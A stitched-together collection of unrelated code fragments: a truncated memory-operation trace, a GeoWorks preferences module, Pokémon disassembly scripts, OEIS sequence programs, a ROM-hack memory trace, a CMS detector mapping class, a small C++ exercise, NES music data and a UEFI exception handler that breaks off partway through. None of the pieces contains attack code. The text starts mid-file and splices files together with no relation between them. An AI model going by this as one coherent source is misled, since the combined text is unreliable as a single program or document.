{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT:
MODULE:
FILE: meltpref.asm
AUTHOR: Adam de Boor, Dec 3, 1992
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 12/ 3/92 Initial revision
DESCRIPTION:
Saver-specific preferences for driver.
$Id: meltpref.asm,v 1.1 97/04/04 16:45:54 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
; include the standard suspects
include geos.def
include heap.def
include geode.def
include resource.def
include ec.def
include library.def
include object.def
include graphics.def
include gstring.def
UseLib ui.def
UseLib config.def ; Most objects we use come from here
UseLib saver.def
;
; Include constants from , the saver, for use in our objects.
;
include ../melt.def
;
; Now the object tree.
;
include meltpref.rdef
idata segment
idata ends
MeltPrefCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MeltPrefGetPrefUITree
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Return the root of the UI tree for "Preferences"
CALLED BY: PrefMgr
PASS: none
RETURN: dx:ax - OD of root of tree
DESTROYED: none
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 8/25/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MeltPrefGetPrefUITree proc far
mov dx, handle RootObject
mov ax, offset RootObject
ret
MeltPrefGetPrefUITree endp
global MeltPrefGetPrefUITree:far
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MeltPrefGetModuleInfo
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Fill in the PrefModuleInfo buffer so that PrefMgr
can decide whether to show this button
CALLED BY: PrefMgr
PASS: ds:si - PrefModuleInfo structure to be filled in
RETURN: ds:si - buffer filled in
DESTROYED: ax,bx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECSnd/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 10/26/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MeltPrefGetModuleInfo proc far
.enter
clr ax
mov ds:[si].PMI_requiredFeatures, mask PMF_USER
mov ds:[si].PMI_prohibitedFeatures, ax
mov ds:[si].PMI_minLevel, ax
mov ds:[si].PMI_maxLevel, UIInterfaceLevel-1
movdw ds:[si].PMI_monikerList, axax
mov {word} ds:[si].PMI_monikerToken, ax
mov {word} ds:[si].PMI_monikerToken+2, ax
mov {word} ds:[si].PMI_monikerToken+4, ax
.leave
ret
MeltPrefGetModuleInfo endp
global MeltPrefGetModuleInfo:far
MeltPrefCode ends
|
VictoryRoad3Script:
call VictoryRoad3Script_44996
call EnableAutoTextBoxDrawing
ld hl, VictoryRoad3TrainerHeaders
ld de, VictoryRoad3ScriptPointers
ld a, [wVictoryRoad3CurScript]
call ExecuteCurMapScriptInTable
ld [wVictoryRoad3CurScript], a
ret
VictoryRoad3Script_44996:
ld hl, wCurrentMapScriptFlags
bit 5, [hl]
res 5, [hl]
ret z
CheckEventHL EVENT_VICTORY_ROAD_3_BOULDER_ON_SWITCH1
ret z
ld a, $1d
ld [wNewTileBlockID], a
lb bc, 5, 3
predef_jump ReplaceTileBlock
VictoryRoad3ScriptPointers:
dw VictoryRoad3Script0
dw DisplayEnemyTrainerTextAndStartBattle
dw EndTrainerBattle
VictoryRoad3Script0:
ld hl, wFlags_0xcd60
bit 7, [hl]
res 7, [hl]
jp z, .asm_449fe
ld hl, .coordsData_449f9
call CheckBoulderCoords
jp nc, .asm_449fe
ld a, [wCoordIndex]
cp $1
jr nz, .asm_449dc
ld a, [hSpriteIndexOrTextID]
cp $f ; Pikachu
jp z, .asm_449fe
ld hl, wCurrentMapScriptFlags
set 5, [hl]
SetEvent EVENT_VICTORY_ROAD_3_BOULDER_ON_SWITCH1
ret
.asm_449dc
CheckAndSetEvent EVENT_VICTORY_ROAD_3_BOULDER_ON_SWITCH2
jr nz, .asm_449fe
ld a, HS_VICTORY_ROAD_3_BOULDER
ld [wMissableObjectIndex], a
predef HideObject
ld a, HS_VICTORY_ROAD_2_BOULDER
ld [wMissableObjectIndex], a
predef_jump ShowObject
.coordsData_449f9:
db $05,$03
db $0F,$17
db $FF
.asm_449fe
ld a, VICTORY_ROAD_2
ld [wDungeonWarpDestinationMap], a
ld hl, .coordsData_449f9
call IsPlayerOnDungeonWarp
ld a, [wCoordIndex]
cp $1
jr nz, .asm_44a1b
ld hl, wd72d
res 4, [hl]
ld hl, wd732
res 4, [hl]
ret
.asm_44a1b
ld a, [wd72d]
bit 4, a
jp z, CheckFightingMapTrainers
ret
VictoryRoad3TextPointers:
dw VictoryRoad3Text1
dw VictoryRoad3Text2
dw VictoryRoad3Text3
dw VictoryRoad3Text4
dw PickUpItemText
dw PickUpItemText
dw BoulderText
dw BoulderText
dw BoulderText
dw BoulderText
VictoryRoad3TrainerHeaders:
VictoryRoad3TrainerHeader0:
dbEventFlagBit EVENT_BEAT_VICTORY_ROAD_3_TRAINER_0
db ($1 << 4) ; trainer's view range
dwEventFlagAddress EVENT_BEAT_VICTORY_ROAD_3_TRAINER_0
dw VictoryRoad3BattleText2 ; TextBeforeBattle
dw VictoryRoad3AfterBattleText2 ; TextAfterBattle
dw VictoryRoad3EndBattleText2 ; TextEndBattle
dw VictoryRoad3EndBattleText2 ; TextEndBattle
VictoryRoad3TrainerHeader2:
dbEventFlagBit EVENT_BEAT_VICTORY_ROAD_3_TRAINER_2
db ($4 << 4) ; trainer's view range
dwEventFlagAddress EVENT_BEAT_VICTORY_ROAD_3_TRAINER_2
dw VictoryRoad3BattleText3 ; TextBeforeBattle
dw VictoryRoad3AfterBattleText3 ; TextAfterBattle
dw VictoryRoad3EndBattleText3 ; TextEndBattle
dw VictoryRoad3EndBattleText3 ; TextEndBattle
VictoryRoad3TrainerHeader3:
dbEventFlagBit EVENT_BEAT_VICTORY_ROAD_3_TRAINER_3
db ($4 << 4) ; trainer's view range
dwEventFlagAddress EVENT_BEAT_VICTORY_ROAD_3_TRAINER_3
dw VictoryRoad3BattleText4 ; TextBeforeBattle
dw VictoryRoad3AfterBattleText4 ; TextAfterBattle
dw VictoryRoad3EndBattleText4 ; TextEndBattle
dw VictoryRoad3EndBattleText4 ; TextEndBattle
VictoryRoad3TrainerHeader4:
dbEventFlagBit EVENT_BEAT_VICTORY_ROAD_3_TRAINER_4
db ($4 << 4) ; trainer's view range
dwEventFlagAddress EVENT_BEAT_VICTORY_ROAD_3_TRAINER_4
dw VictoryRoad3BattleText5 ; TextBeforeBattle
dw VictoryRoad3AfterBattleText5 ; TextAfterBattle
dw VictoryRoad3EndBattleText5 ; TextEndBattle
dw VictoryRoad3EndBattleText5 ; TextEndBattle
db $ff
VictoryRoad3Text1:
TX_ASM
ld hl, VictoryRoad3TrainerHeader0
call TalkToTrainer
jp TextScriptEnd
VictoryRoad3Text2:
TX_ASM
ld hl, VictoryRoad3TrainerHeader2
call TalkToTrainer
jp TextScriptEnd
VictoryRoad3Text3:
TX_ASM
ld hl, VictoryRoad3TrainerHeader3
call TalkToTrainer
jp TextScriptEnd
VictoryRoad3Text4:
TX_ASM
ld hl, VictoryRoad3TrainerHeader4
call TalkToTrainer
jp TextScriptEnd
VictoryRoad3BattleText2:
TX_FAR _VictoryRoad3BattleText2
db "@"
VictoryRoad3EndBattleText2:
TX_FAR _VictoryRoad3EndBattleText2
db "@"
VictoryRoad3AfterBattleText2:
TX_FAR _VictoryRoad3AfterBattleText2
db "@"
VictoryRoad3BattleText3:
TX_FAR _VictoryRoad3BattleText3
db "@"
VictoryRoad3EndBattleText3:
TX_FAR _VictoryRoad3EndBattleText3
db "@"
VictoryRoad3AfterBattleText3:
TX_FAR _VictoryRoad3AfterBattleText3
db "@"
VictoryRoad3BattleText4:
TX_FAR _VictoryRoad3BattleText4
db "@"
VictoryRoad3EndBattleText4:
TX_FAR _VictoryRoad3EndBattleText4
db "@"
VictoryRoad3AfterBattleText4:
TX_FAR _VictoryRoad3AfterBattleText4
db "@"
VictoryRoad3BattleText5:
TX_FAR _VictoryRoad3BattleText5
db "@"
VictoryRoad3EndBattleText5:
TX_FAR _VictoryRoad3EndBattleText5
db "@"
VictoryRoad3AfterBattleText5:
TX_FAR _VictoryRoad3AfterBattleText5
db "@"
|
db 0 ; species ID placeholder
db 80, 80, 80, 80, 80, 80
; hp atk def spd sat sdf
db ICE, ICE ; type
db 75 ; catch rate
db 187 ; base exp
db NO_ITEM, NEVERMELTICE ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/glalie/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_FAIRY, EGG_MINERAL ; egg groups
; tm/hm learnset
tmhm HEADBUTT, CURSE, ROLLOUT, TOXIC, HIDDEN_POWER, SNORE, BLIZZARD, HYPER_BEAM, ICY_WIND, PROTECT, RAIN_DANCE, ENDURE, FRUSTRATION, EARTHQUAKE, RETURN, SHADOW_BALL, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, DEFENSE_CURL, REST, ATTRACT, FLASH, ICE_BEAM
; end
|
; A157079: 32805000n^2 - 10513800n + 842401.
; 23133601,111034801,264546001,483667201,768398401,1118739601,1534690801,2016252001,2563423201,3176204401,3854595601,4598596801,5408208001,6283429201,7224260401,8230701601,9302752801,10440414001,11643685201,12912566401,14247057601,15647158801,17112870001,18644191201,20241122401,21903663601,23631814801,25425576001,27284947201,29209928401,31200519601,33256720801,35378532001,37565953201,39818984401,42137625601,44521876801,46971738001,49487209201,52068290401,54714981601,57427282801,60205194001,63048715201,65957846401,68932587601,71972938801,75078900001,78250471201,81487652401,84790443601,88158844801,91592856001,95092477201,98657708401,102288549601,105985000801,109747062001,113574733201,117468014401,121426905601,125451406801,129541518001,133697239201,137918570401,142205511601,146558062801,150976224001,155459995201,160009376401,164624367601,169304968801,174051180001,178863001201,183740432401,188683473601,193692124801,198766386001,203906257201,209111738401,214382829601,219719530801,225121842001,230589763201,236123294401,241722435601,247387186801,253117548001,258913519201,264775100401,270702291601,276695092801,282753504001,288877525201,295067156401,301322397601,307643248801,314029710001,320481781201,326999462401
seq $0,156866 ; 729000n - 116820.
pow $0,2
mul $0,3
sub $0,1124293057200
div $0,48600
add $0,23133601
|
copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
001272 move.l (A1,D0.w), ($4c,A6)
001278 or.w D0, D0 [enemy+4C, enemy+4E, etc+4C, etc+4E, item+4C, item+4E]
0012C2 move.l (A1,D0.w), ($4c,A6)
0012C8 move #$1, CCR [enemy+4C, enemy+4E, etc+4C, etc+4E, item+4C, item+4E]
001470 move.l (A1,D0.w), ($4c,A6)
001476 or.w D0, D0 [123p+ 4C, 123p+ 4E, etc+4C, etc+4E]
004D3E move.l D0, (A4)+
004D40 dbra D1, $4d38
0AAACA move.l (A0), D2
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAACE move.w D0, ($2,A0)
0AAAD2 cmp.l (A0), D0
0AAAD4 bne $aaafc
0AAAD8 move.l D2, (A0)+
0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE6 move.l (A0), D2
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF4 move.l D2, (A0)+
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
|
#include "Geometry/EcalMapping/interface/ESElectronicsMapper.h"
ESElectronicsMapper::ESElectronicsMapper(const edm::ParameterSet& ps) {
lookup_ = ps.getParameter<edm::FileInPath>("LookupTable");
for (int i = 0; i < 2; ++i)
for (int j = 0; j < 2; ++j)
for (int k = 0; k < 40; ++k)
for (int m = 0; m < 40; ++m) {
fed_[i][j][k][m] = -1;
kchip_[i][j][k][m] = -1;
}
// read in look-up table
int nLines, z, iz, ip, ix, iy, fed, kchip, pace, bundle, fiber, optorx;
std::ifstream file;
file.open(lookup_.fullPath().c_str());
if (file.is_open()) {
file >> nLines;
for (int i = 0; i < nLines; ++i) {
file >> iz >> ip >> ix >> iy >> fed >> kchip >> pace >> bundle >> fiber >> optorx;
if (iz == -1)
z = 2;
else
z = iz;
fed_[z - 1][ip - 1][ix - 1][iy - 1] = fed;
kchip_[z - 1][ip - 1][ix - 1][iy - 1] = kchip;
}
} else {
std::cout << "ESElectronicsMapper::ESElectronicsMapper : Look up table file can not be found in "
<< lookup_.fullPath().c_str() << std::endl;
}
// EE-ES FEDs mapping
int eefed[18] = {601, 602, 603, 604, 605, 606, 607, 608, 609, 646, 647, 648, 649, 650, 651, 652, 653, 654};
int nesfed[18] = {10, 7, 9, 10, 8, 10, 8, 10, 8, 10, 7, 8, 8, 8, 9, 8, 10, 10};
int esfed[18][10] = {{520, 522, 523, 531, 532, 534, 535, 545, 546, 547},
{520, 522, 523, 534, 535, 546, 547},
{520, 522, 523, 524, 525, 534, 535, 537, 539},
{520, 522, 523, 524, 525, 534, 535, 537, 539, 540},
{522, 523, 524, 525, 535, 537, 539, 540},
{524, 525, 528, 529, 530, 537, 539, 540, 541, 542},
{528, 529, 530, 531, 532, 541, 542, 545},
{528, 529, 530, 531, 532, 541, 542, 545, 546, 547},
{529, 530, 531, 532, 542, 545, 546, 547},
{548, 549, 551, 560, 561, 563, 564, 572, 573, 574},
{548, 549, 560, 561, 563, 564, 574},
{548, 549, 551, 553, 563, 564, 565, 566},
{551, 553, 554, 563, 564, 565, 566, 568},
{553, 554, 555, 556, 565, 566, 568, 570},
{553, 554, 555, 556, 565, 566, 568, 570, 571},
{553, 554, 555, 556, 557, 568, 570, 571},
{555, 556, 557, 560, 561, 570, 571, 572, 573, 574},
{548, 549, 557, 560, 561, 570, 571, 572, 573, 574}};
for (int i = 0; i < 18; ++i) { // loop over EE feds
std::vector<int> esFeds;
esFeds.reserve(nesfed[i]);
for (int esFed = 0; esFed < nesfed[i]; esFed++)
esFeds.emplace_back(esfed[i][esFed]);
ee_es_map_.insert(make_pair(eefed[i], esFeds));
}
}
int ESElectronicsMapper::getFED(const ESDetId& id) {
int zside;
if (id.zside() < 0)
zside = 2;
else
zside = id.zside();
return fed_[zside - 1][id.plane() - 1][id.six() - 1][id.siy() - 1];
}
int ESElectronicsMapper::getFED(int zside, int plane, int x, int y) { return fed_[zside - 1][plane - 1][x - 1][y - 1]; }
std::vector<int> ESElectronicsMapper::GetListofFEDs(const std::vector<int>& eeFEDs) const {
std::vector<int> esFEDs;
GetListofFEDs(eeFEDs, esFEDs);
return esFEDs;
}
void ESElectronicsMapper::GetListofFEDs(const std::vector<int>& eeFEDs, std::vector<int>& esFEDs) const {
for (int eeFED : eeFEDs) {
std::map<int, std::vector<int> >::const_iterator itr = ee_es_map_.find(eeFED);
if (itr == ee_es_map_.end())
continue;
std::vector<int> fed = itr->second;
for (int j : fed) {
esFEDs.emplace_back(j);
}
}
sort(esFEDs.begin(), esFEDs.end());
std::vector<int>::iterator it = unique(esFEDs.begin(), esFEDs.end());
esFEDs.erase(it, esFEDs.end());
}
int ESElectronicsMapper::getKCHIP(const ESDetId& id) {
int zside;
if (id.zside() < 0)
zside = 2;
else
zside = id.zside();
return kchip_[zside - 1][id.plane() - 1][id.six() - 1][id.siy() - 1];
}
int ESElectronicsMapper::getKCHIP(int zside, int plane, int x, int y) {
return kchip_[zside - 1][plane - 1][x - 1][y - 1];
}
|
#include <iostream>
#include <iomanip>
using namespace std;
int main(void)
{
int a, b;
cin >> a >> b;
if (a % b == 0 || b % a == 0) cout << "Sao Multiplos" << endl;
else cout << "Nao sao Multiplos" << endl;
return 0;
}
|
; A214863: Numbers n such that n XOR 11 = n - 11.
; 11,15,27,31,43,47,59,63,75,79,91,95,107,111,123,127,139,143,155,159,171,175,187,191,203,207,219,223,235,239,251,255,267,271,283,287,299,303,315,319,331,335,347,351,363
mov $1,$0
mod $0,2
mul $1,2
sub $1,$0
mul $1,4
add $1,11
|
song1_header:
.byte $04 ;4 streams
.byte MUSIC_SQ1 ;which stream
.byte $01 ;status byte (stream enabled)
.byte SQUARE_1 ;which channel
.byte $70 ;initial duty (01)
.byte ve_tgl_1 ;volume envelope
.word song1_square1 ;pointer to stream
.byte $53 ;tempo
.byte MUSIC_SQ2 ;which stream
.byte $01 ;status byte (stream enabled)
.byte SQUARE_2 ;which channel
.byte $B0 ;initial duty (10)
.byte ve_tgl_2 ;volume envelope
.word song1_square2 ;pointer to stream
.byte $53 ;tempo
.byte MUSIC_TRI ;which stream
.byte $01 ;status byte (stream enabled)
.byte TRIANGLE ;which channel
.byte $80 ;initial volume (on)
.byte ve_tgl_2 ;volume envelope
.word song1_tri ;pointer to stream
.byte $53 ;tempo
.byte MUSIC_NOI ;which stream
.byte $00 ;disabled. Our load routine will skip the
; rest of the reads if the status byte is 0.
; We are disabling Noise because we haven't covered it yet.
song1_square1:
.byte eighth
.byte A2, A2, A2, A3, A2, A3, A2, A3
.byte F3, F3, F3, F4, F3, F4, F3, F4
.byte A2, A2, A2, A3, A2, A3, A2, A3
.byte F3, F3, F3, F4, F3, F4, F3, F4
.byte E3, E3, E3, E4, E3, E4, E3, E4
.byte E3, E3, E3, E4, E3, E4, E3, E4
.byte Ds3, Ds3, Ds3, Ds4, Ds3, Ds4, Ds3, Ds4
.byte D3, D3, D3, D4, D3, D4, D3, D4
.byte C3, C3, C3, C4, C3, C4, C3, C4
.byte B2, B2, B2, B3, B2, B3, B2, B3
.byte As2, As2, As2, As3, As2, As3, As2, As3
.byte A2, A2, A2, A3, A2, A3, A2, A3
.byte Gs2, Gs2, Gs2, Gs3, Gs2, Gs3, Gs2, Gs3
.byte G2, G2, G2, G3, G2, G3, G2, G3
.byte song_loop
.word song1_square1
song1_square2:
.byte sixteenth
.byte rest ;offset for delay effect
.byte eighth
@loop_point:
.byte rest
.byte A4, C5, B4, C5, A4, C5, B4, C5
.byte A4, C5, B4, C5, A4, C5, B4, C5
.byte A4, C5, B4, C5, A4, C5, B4, C5
.byte A4, C5, B4, C5, A4, C5, B4, C5
.byte Ab4, B4, A4, B4, Ab4, B4, A4, B4
.byte B4, E5, D5, E5, B4, E5, D5, E5
.byte A4, Eb5, C5, Eb5, A4, Eb5, C5, Eb5
.byte A4, D5, Db5, D5, A4, D5, Db5, D5
.byte A4, C5, F5, A5, C6, A5, F5, C5
.byte Gb4, B4, Eb5, Gb5, B5, Gb5, Eb5, B4
.byte F4, Bb4, D5, F5, Gs5, F5, D5, As4
.byte E4, A4, Cs5, E5, A5, E5, sixteenth, Cs5, rest
.byte eighth
.byte Ds4, Gs4, C5, Ds5, Gs5, Ds5, C5, Gs4
.byte sixteenth
.byte G4, Fs4, G4, Fs4, G4, Fs4, G4, Fs4
.byte eighth
.byte G4, B4, D5, G5
.byte song_loop
.word @loop_point
song1_tri:
.byte eighth
.byte A5, C6, B5, C6, A5, C6, B5, C6 ;triangle data
.byte A5, C6, B5, C6, A5, C6, B5, C6
.byte A5, C6, B5, C6, A5, C6, B5, C6
.byte A5, C6, B5, C6, A5, C6, B5, C6
.byte Ab5, B5, A5, B5, Ab5, B5, A5, B5
.byte B5, E6, D6, E6, B5, E6, D6, E6
.byte A5, Eb6, C6, Eb6, A5, Eb6, C6, Eb6
.byte A5, D6, Db6, D6, A5, D6, Db6, D6
.byte A5, C6, F6, A6, C7, A6, F6, C6
.byte Gb5, B5, Eb6, Gb6, B6, Gb6, Eb6, B5
.byte F5, Bb5, D6, F6, Gs6, F6, D6, As5
.byte E5, A5, Cs6, E6, A6, E6, Cs6, A5
.byte Ds5, Gs5, C6, Ds6, Gs6, Ds6, C6, Gs5
.byte sixteenth
.byte G5, Fs5, G5, Fs5, G5, Fs5, G5, Fs5
.byte G5, B5, D6, G6, B5, D6, B6, D7
.byte song_loop
.word song1_tri |
;------------------------------------------------------------------------------ ;
; Copyright (c) 2012 - 2018, Intel Corporation. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
; Module Name:
;
; ExceptionHandlerAsm.Asm
;
; Abstract:
;
; x64 CPU Exception Handler
;
; Notes:
;
;------------------------------------------------------------------------------
;
; CommonExceptionHandler()
;
extern ASM_PFX(mErrorCodeFlag) ; Error code flags for exceptions
extern ASM_PFX(mDoFarReturnFlag) ; Do far return flag
extern ASM_PFX(CommonExceptionHandler)
SECTION .data
DEFAULT REL
SECTION .text
ALIGN 8
AsmIdtVectorBegin:
%rep 32
db 0x6a ; push #VectorNum
db ($ - AsmIdtVectorBegin) / ((AsmIdtVectorEnd - AsmIdtVectorBegin) / 32) ; VectorNum
push rax
mov rax, strict qword 0 ; mov rax, ASM_PFX(CommonInterruptEntry)
jmp rax
%endrep
AsmIdtVectorEnd:
HookAfterStubHeaderBegin:
db 0x6a ; push
@VectorNum:
db 0 ; 0 will be fixed
push rax
mov rax, strict qword 0 ; mov rax, HookAfterStubHeaderEnd
JmpAbsoluteAddress:
jmp rax
HookAfterStubHeaderEnd:
mov rax, rsp
and sp, 0xfff0 ; make sure 16-byte aligned for exception context
sub rsp, 0x18 ; reserve room for filling exception data later
push rcx
mov rcx, [rax + 8]
bt [ASM_PFX(mErrorCodeFlag)], ecx
jnc .0
push qword [rsp] ; push additional rcx to make stack alignment
.0:
xchg rcx, [rsp] ; restore rcx, save Exception Number in stack
push qword [rax] ; push rax into stack to keep code consistence
;---------------------------------------;
; CommonInterruptEntry ;
;---------------------------------------;
; The follow algorithm is used for the common interrupt routine.
; Entry from each interrupt with a push eax and eax=interrupt number
; Stack frame would be as follows as specified in IA32 manuals:
;
; +---------------------+ <-- 16-byte aligned ensured by processor
; + Old SS +
; +---------------------+
; + Old RSP +
; +---------------------+
; + RFlags +
; +---------------------+
; + CS +
; +---------------------+
; + RIP +
; +---------------------+
; + Error Code +
; +---------------------+
; + Vector Number +
; +---------------------+
; + RBP +
; +---------------------+ <-- RBP, 16-byte aligned
; The follow algorithm is used for the common interrupt routine.
global ASM_PFX(CommonInterruptEntry)
ASM_PFX(CommonInterruptEntry):
cli
pop rax
;
; All interrupt handlers are invoked through interrupt gates, so
; IF flag automatically cleared at the entry point
;
xchg rcx, [rsp] ; Save rcx into stack and save vector number into rcx
and rcx, 0xFF
cmp ecx, 32 ; Intel reserved vector for exceptions?
jae NoErrorCode
